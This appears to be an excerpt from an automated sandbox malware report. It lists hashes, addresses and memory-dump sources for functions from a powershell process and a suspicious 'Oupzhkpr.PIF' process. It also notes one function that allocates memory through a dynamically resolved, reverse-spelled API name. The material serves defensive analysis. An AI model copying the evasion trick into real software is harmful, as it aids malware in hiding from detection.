Opcode Fuzzy Hash: 0012df796026a78b49015d5490fd20662ea5d952e63b7fc792ed970fdabe2338
Instruction Fuzzy Hash: DC119E753042149FDB089B6AE858D6A7BEAFF89720714046AE509C7395DF35DC01CB90

Function 007E767C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95cc529720e78874375e9c022ed428672d37401c78743fab9c9d47fedb04465
Instruction ID: 0875f17a57a4745764631ab511f8868dac4bf670c989f43378361071c4c8619b
Opcode Fuzzy Hash: b95cc529720e78874375e9c022ed428672d37401c78743fab9c9d47fedb04465
Instruction Fuzzy Hash: F311047A7001188FCB04DBA9E8549AE77F6EBCC325B0440A5E909DB315DB39ED128BA0

Function 0073F3D3 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557586433.000000000073D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_73d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79743b7ef64e79def9027e5355c367a0ea036754744aa2e52695c6db9a72276b
Instruction ID: d2b73f8ec1afdfe9c73884ed729b7e6bee13c33d9731846869a261c024cc93ec
Opcode Fuzzy Hash: 79743b7ef64e79def9027e5355c367a0ea036754744aa2e52695c6db9a72276b
Instruction Fuzzy Hash: 21215C76904280DFDB06CF50D9C4B16BF72FB88314F24C5A9D9494A657C33AD86ACB91

Function 007EE318 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a5e795c271a1f8db52526d23457b7176ad3f03ccde2004cbc064825bf42d4c
Instruction ID: bac12802b5434519a5e5991a29fe7c027ad75410bfaf96b1ab535b3b0feeefdd
Opcode Fuzzy Hash: e8a5e795c271a1f8db52526d23457b7176ad3f03ccde2004cbc064825bf42d4c
Instruction Fuzzy Hash: 2D117971901685CFDB10CF9AD604B9EBBF4AF48310F24886DD018A7281D3399944CBA1

Function 0073F027 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557586433.000000000073D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_73d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e074c66091f42264c338087dd8e67e8934f5c9a6a74f81f19a2831112881f99
Instruction ID: d416ca42eba3098662d180696e63b5b536109ecb077132a48ffc935c13d5dc09
Opcode Fuzzy Hash: 0e074c66091f42264c338087dd8e67e8934f5c9a6a74f81f19a2831112881f99
Instruction Fuzzy Hash: C4119D76904284DFDB15CF24D5C4B15FFA1FB84324F28C6AAD8494B657C33AD84ACB62

Function 007EE328 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fea2b89a71f4a1e696852929cc430f174b2d38bc4a0568fe3e16e00143da19b
Instruction ID: c7092d5700001478c775d6a6b4b69c3e9afd6ccd8e221b4b0b18d2571ccca19f
Opcode Fuzzy Hash: 1fea2b89a71f4a1e696852929cc430f174b2d38bc4a0568fe3e16e00143da19b
Instruction Fuzzy Hash: 471148B1901789CFDB10CF9AC544BDEBBF4EB48314F24886DD508A7241D339A944CFA5

Function 007EBCE0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed5ff5d67cc50752791c1e6e4100bc6205a1857b2b3f76563780c0f2e27bbf61
Instruction ID: 549f7e395f5d88fc9ca2781459e2c02e2d68ebbf50a35fae1b6a75d4905bac3d
Opcode Fuzzy Hash: ed5ff5d67cc50752791c1e6e4100bc6205a1857b2b3f76563780c0f2e27bbf61
Instruction Fuzzy Hash: 560192356093849FD728CB76D894BAA7FE5AF49310F1484AEE15ACB6A2CB34AC45C701

Function 007E2C5C Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6f4d2c39bda3e4c6dae4b3d5956ec205d2fd63ef301b6f58545f35797568d5
Instruction ID: d39b0b7e734c6deea3f321fa7f929f17819141d0880567bf5659e9676bcdf2e3
Opcode Fuzzy Hash: fd6f4d2c39bda3e4c6dae4b3d5956ec205d2fd63ef301b6f58545f35797568d5
Instruction Fuzzy Hash: 3011A571909294DFCB02CF6DD8A09EDBFB0EF4A314B1541C6D4649B2A3C6369C16CB66

Function 007EE100 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c564941f6db3890d26d97ef899a1d7dc9b29bad1a4d55ffe10f6ee4f3497f64
Instruction ID: ff1510e74b074769f84f9192264fde3f0d66b045dceb427cc16dd5e7bfca790c
Opcode Fuzzy Hash: 0c564941f6db3890d26d97ef899a1d7dc9b29bad1a4d55ffe10f6ee4f3497f64
Instruction Fuzzy Hash: 941139342047408FC728DF39C04085ABBF2EF8931532089ADD44A877A0DB36EC41CF40

Function 0073D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557586433.000000000073D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_73d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6922ef2bfbaef24a2ca48749bb82b98ad382521af0ba03de89613a37c1e3b499
Instruction ID: 8d8bef1f9f425442df4c7f1a5cd8b35b292b64b2c89b7efe9d5556a216ac38b8
Opcode Fuzzy Hash: 6922ef2bfbaef24a2ca48749bb82b98ad382521af0ba03de89613a37c1e3b499
Instruction Fuzzy Hash: 9801F232504340EAF7244A25E984B66FFA8EF82B60F18841AED081A283C37D9C45CAB1

Function 007EDCD9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b3a932b71fdd49e0487ee1ab8726a02249f8cb3a14870c76a237e0637a988a
Instruction ID: ce3fe27e4ca16de7bb8556a0a73b631f70ede06b2631b20880b8389220b4aa0f
Opcode Fuzzy Hash: f6b3a932b71fdd49e0487ee1ab8726a02249f8cb3a14870c76a237e0637a988a
Instruction Fuzzy Hash: 9E01F731B051849BCB14DBB9E8148F9BFB69FCC220F18846AE40697351DE755C55CBA1

Function 007EBF10 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168f4b91abea331c384cbb83739e0db57e465f9f51638a7f4dd364439d34594f
Instruction ID: 532bbe336c84eb4e592ef3a2c4b108a9b8190a278b3bc929484d2f579e300215
Opcode Fuzzy Hash: 168f4b91abea331c384cbb83739e0db57e465f9f51638a7f4dd364439d34594f
Instruction Fuzzy Hash: 17F0F6727092A05FD7108A7A9C90AB7BFEDEFD9620B08447BF944C7391DA74CD1087A0

Function 0073D9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557586433.000000000073D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_73d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e06ecc320fb281dd4d3f6414e0e934a3a2a6beac2e36164b919f804806e3238
Instruction ID: 1e569b96322c1ecd2aa1979fe05c8e1c7b555d3c509b9056b3e69d473f5a2a0e
Opcode Fuzzy Hash: 5e06ecc320fb281dd4d3f6414e0e934a3a2a6beac2e36164b919f804806e3238
Instruction Fuzzy Hash: B4F0F976200604AF97208F0AD985C63FBADEBD477071AC55AE84A4B612C771FC41CEA0

Function 007E90D2 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c239ad10b72f7b633f7b2a173e8aba933a98aaee5bdc9989b5109ad020e9a538
Instruction ID: eafa668f746f6b3a62f1db19f86ad933f27472bd42b9e888873a95137155d864
Opcode Fuzzy Hash: c239ad10b72f7b633f7b2a173e8aba933a98aaee5bdc9989b5109ad020e9a538
Instruction Fuzzy Hash: 83F028B5B092849FE355AB34941D7AB7BB2DFC1314F1480EFD40A8B282CE3C1A06C7A1

Function 0073D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557586433.000000000073D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_73d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba6ca412e29e81a1415b279fd29b8d8f3e803b4b4844f6e2885c3ffafb7d297d
Instruction ID: e329e343cc6257d6e0b46aeee05d2d8eb3d767aff800084c63c40a1adfbd67af
Opcode Fuzzy Hash: ba6ca412e29e81a1415b279fd29b8d8f3e803b4b4844f6e2885c3ffafb7d297d
Instruction Fuzzy Hash: BCF0C272005344AEF7248E16D884BA2FFD8EB91734F18C55AED480E282C3799C44CAB1

Function 007E7968 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4cca29283266d1fe2a357bf328c4fb3c69f0aa2d5f451d5820ab8b1bca7981
Instruction ID: 06ef2e7a990516a9fceaa9a29b0e414bdd998c54f09ff4e64ca63a85d00a34a6
Opcode Fuzzy Hash: 3e4cca29283266d1fe2a357bf328c4fb3c69f0aa2d5f451d5820ab8b1bca7981
Instruction Fuzzy Hash: 9EF0A7317006159FD72497AAE844A6F77EAEB8C361F10052DE10DC3341DF74AD018BA4

Function 0073D998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557586433.000000000073D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_73d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb78d133ca30b06c848408b95bc3cb83e732864e44823e8ec6f5c305209c7b2
Instruction ID: 16da781b7f70c92dce96795d85739d3bc0c876c3427d58b779d4d7317ec2482e
Opcode Fuzzy Hash: 0bb78d133ca30b06c848408b95bc3cb83e732864e44823e8ec6f5c305209c7b2
Instruction Fuzzy Hash: 28F06276100640AFD721CF06CD84D23BBB9EBC5720B1A8589E8494B312C731FC41CF60

Function 007EDE38 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8ea281d239adc58aeebac41da86c20cdc33b8801c78f1a18709198999f5831
Instruction ID: e703d92c44b41d51e3b8496dd1c766cea0eaeb9743bdf1623b0c68c6bd0527dc
Opcode Fuzzy Hash: fc8ea281d239adc58aeebac41da86c20cdc33b8801c78f1a18709198999f5831
Instruction Fuzzy Hash: 3AF08C393051808FC3218B2DD4A8876BBF6AFDE31531900EAE198DF772CA61CC12CB40

Function 007E90E8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a167d6219e5507da115f574bc817abd0ad5dd3f609fac5b9e8f2663ef99a47
Instruction ID: 2c9e40d1cae4ff104570b392e881d0b0d5edb64670221df058ba20880003f91e
Opcode Fuzzy Hash: f8a167d6219e5507da115f574bc817abd0ad5dd3f609fac5b9e8f2663ef99a47
Instruction Fuzzy Hash: 3EF027B5604148ABF394AB69D01D7AB77A6DBC4314F10817AD90A47385CE3D2D01C7D1

Function 007E7697 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cfd8539deef89341054d4623bbea43f5b22980ff9b2070f404a49cbdf1510d
Instruction ID: d61aa39b006fcd95536386f7b82d6dd4c087acc7feca49f5b0faba0f80996454
Opcode Fuzzy Hash: f0cfd8539deef89341054d4623bbea43f5b22980ff9b2070f404a49cbdf1510d
Instruction Fuzzy Hash: F2F0E57A300508CFCB14CB6ED840A9A77E2EBCC354B0541A5F509CB315EB38DC02CB90

Function 007E9158 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94f3c5d5f945c4d7a3b1b0abcd26a318e3e2dc5f02fffd806badfca226e0c735
Instruction ID: fa2237d98c9f83b249095eb7eae4c3b0ea47ac038d17ab726b1aef7afbcb9055
Opcode Fuzzy Hash: 94f3c5d5f945c4d7a3b1b0abcd26a318e3e2dc5f02fffd806badfca226e0c735
Instruction Fuzzy Hash: 7FF082719053048BD7649FB8D49D7EA7BD5EB44310F00446DE65EC7381DB3D6880C790

Function 007EDE48 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c636777bb444ad3d126ebb9eba9913ea594d293e730cb56acb98964c359f0dd
Instruction ID: 673ba1af81f92f8761c1a459f3224686d103ea66ca2e57090ad146c10cc4959e
Opcode Fuzzy Hash: 0c636777bb444ad3d126ebb9eba9913ea594d293e730cb56acb98964c359f0dd
Instruction Fuzzy Hash: B5E01A3A3011508F87209B1ED498C26B7FAEFDE76571900A9E549CF731DA71EC01CB90

Function 007E9542 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7163a535540e0b075cab7dd4cd36d358914d87f8ba77e221f095ddee4226ade2
Instruction ID: a742f3fc896a27b7085ceaa50fb29205a721fa3cf608997349379dfde959fd15
Opcode Fuzzy Hash: 7163a535540e0b075cab7dd4cd36d358914d87f8ba77e221f095ddee4226ade2
Instruction Fuzzy Hash: 54E086537071956796A421BA16146BB418B4FC9251F1501BAEA0DC7692DC49CD1243F2

Function 007E9168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a780460cd3ac52731b6f39030b0e76af6a469dd7b102d777a6c92d1c70b610b
Instruction ID: db836e22809a89c85281161353b67320208e8139009ce55f0e884675299c0b4d
Opcode Fuzzy Hash: 3a780460cd3ac52731b6f39030b0e76af6a469dd7b102d777a6c92d1c70b610b
Instruction Fuzzy Hash: 73F0ED719013049BD7A4ABB9D89D7DA7BE5FB44310F104469E65ED7340DB396980CB90

Function 007E896A Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcfe489a773dabede298b1ff188cca9747bf37926cf0d9dad745a8aa00d631e4
Instruction ID: 4e38e1452e7467a383c369456686ab006e83dea42128837905a9b35301a2363a
Opcode Fuzzy Hash: bcfe489a773dabede298b1ff188cca9747bf37926cf0d9dad745a8aa00d631e4
Instruction Fuzzy Hash: E3E092757081918BCB097774D81C2ED2A63EBC4715F04002EE61A83382CF7C4915C7D5

Function 007E8978 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 477f0850196745afba9e98751626655e56ed3c3cbc02f3767690b0b9693601aa
Instruction ID: 3521f4b3d35b1804e39e9ddb5e1ddc55d8bb219d5cfc570f86f6db03e5db693f
Opcode Fuzzy Hash: 477f0850196745afba9e98751626655e56ed3c3cbc02f3767690b0b9693601aa
Instruction Fuzzy Hash: 6BE0263530429087CB093779E80D2EE7A96FBC8720F00002AE60683341CF7C1D01C3D5

Function 007EAF88 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 412e692905ad50d566107d2bcdd872fb3a5015413277ada27232fbae036f86e3
Instruction ID: ef76c44398aa8298b3b18946d842ede7654b8cbca4a340599756aa0951ac98e9
Opcode Fuzzy Hash: 412e692905ad50d566107d2bcdd872fb3a5015413277ada27232fbae036f86e3
Instruction Fuzzy Hash: 4AD02B2770C2D127CB19603F74202A66B9BCBCD260709807AF508CB341DC56DC0202E1

Function 007E9550 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b422a3c8efe95bf17e2c8f3f39d53a333699388774d6fff6109704bcba813b
Instruction ID: f196b001b2ed170b9f7bbf37f3f16613a44ea32c2bf556acc082ce44293dc2f8
Opcode Fuzzy Hash: 85b422a3c8efe95bf17e2c8f3f39d53a333699388774d6fff6109704bcba813b
Instruction Fuzzy Hash: ECD05E537071A92715E430BF1905ABB91CF8ACE6A0B1501B6EA0DC7292EC49CD1243F2

Function 007EDCE8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: bcc3d67bc784aaa1d7b5a10c42fab34d01e4318e251dce8755c5f020d26008ce
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 08E08631B10054978B18995AD8144EDF7AADBCC320F14807BD90AA7340DA725D1586E1

Function 007EF460 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94aa4d71e481587bf2cad701f1e7f38ef065e480adcf8f6e356447382782e42e
Instruction ID: a825bdc4a362f75062bb0010b3bf6a89c068c729485af890ad7e79e6953c3ec4
Opcode Fuzzy Hash: 94aa4d71e481587bf2cad701f1e7f38ef065e480adcf8f6e356447382782e42e
Instruction Fuzzy Hash: 7DE0ED71D152469FCB44DF78C48155ABFF0EF0A314B2085FED849DB611E3324901CB95

Function 007E8739 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c6b8a6a12358432305b3b5ec74394e3ea22645fa3cf7a3f31c9c7aaf0801314
Instruction ID: 4ac19d08778a805a3853389af3968db8cd3d6a413528b99edf818017a7f388c2
Opcode Fuzzy Hash: 0c6b8a6a12358432305b3b5ec74394e3ea22645fa3cf7a3f31c9c7aaf0801314
Instruction Fuzzy Hash: FEE0463190514ACBCB48AFA4F81A4FDBFB4FB14321B00015EE907536909E381A8ACAC1

Function 007E8800 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a30de1a840738f570a88c8879c68c305800ec6f090a43eae556601b9203cdd4
Instruction ID: 3b04a3b29221f09bd1451279c572f0e1b913b31cae28ae4eff5db6fbcf93c312
Opcode Fuzzy Hash: 8a30de1a840738f570a88c8879c68c305800ec6f090a43eae556601b9203cdd4
Instruction Fuzzy Hash: 04E08631F09147CFC748EFA4E4465ED7FB1AB45304B008069E90997741DA305D41CB81

Function 007EF470 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 394b6746088f20fc0363e68fe51d84b189e6dc6662121548b8abe16da7d5749c
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 53D067B0D052499F8780EFADC94166EFBF4EB49200F6085BAC91DE7341E7329A12CBD1

Function 007E8748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56659f7794446e8f36a253140f0fc1ef439a9151ee0e845f654804ca249c8de3
Instruction ID: 836297a36d04fc7f8f182183d6c2ad68d7953c8b52652fc595e934e83de77a0a
Opcode Fuzzy Hash: 56659f7794446e8f36a253140f0fc1ef439a9151ee0e845f654804ca249c8de3
Instruction Fuzzy Hash: 53D06731C0510ACBCB48AFA5E85B4FDBB74FA14312F504169D90753190EE351A5ACEC5

Function 007E8810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: babb8867fd1b8b7d6e0faf9f88aabb5f21fa306bc55b4c1c074eb30d82bed7e5
Instruction ID: db9439375f1826dee62dbc9767c6cc3f1a7a910ee51743d4e2a1183de914c434
Opcode Fuzzy Hash: babb8867fd1b8b7d6e0faf9f88aabb5f21fa306bc55b4c1c074eb30d82bed7e5
Instruction Fuzzy Hash: 41D01234D0420A8FC748EF64E8468ADBBB4AB45300F104165DD0993340EA345C01CBC1

Function 007E7940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f19d0e731eca4a2d13ccc0ee380d7432dcc5def6df76d712b5a3fbca4cde6b2
Instruction ID: 720b4710ffaa8057c67b0e25aedd2aed5e0ffa157110b96c91f4ba840435eadf
Opcode Fuzzy Hash: 3f19d0e731eca4a2d13ccc0ee380d7432dcc5def6df76d712b5a3fbca4cde6b2
Instruction Fuzzy Hash: 0DB09230185B488FC2486F75AC04915732DAB40216B9004A8E80E0A2A28E7AE884CE44

Function 007E7EB1 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2557993988.00000000007E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c966ce1e7402bb1515dab60a37b61d6257a0e10546ed9c0cc8db9e4638881f47
Instruction ID: 497e4112004dc7f6cafb865955b301fcafbc78a1d5301691b20a282f09d15350
Opcode Fuzzy Hash: c966ce1e7402bb1515dab60a37b61d6257a0e10546ed9c0cc8db9e4638881f47
Instruction Fuzzy Hash:

Analysis Process: Oupzhkpr.PIFPID: 880, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1477
Total number of Limit Nodes:	13

Executed Functions

Function 02BA79B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02BA7A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02BA79CF
ntdll, xrefs: 02BA79FC

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
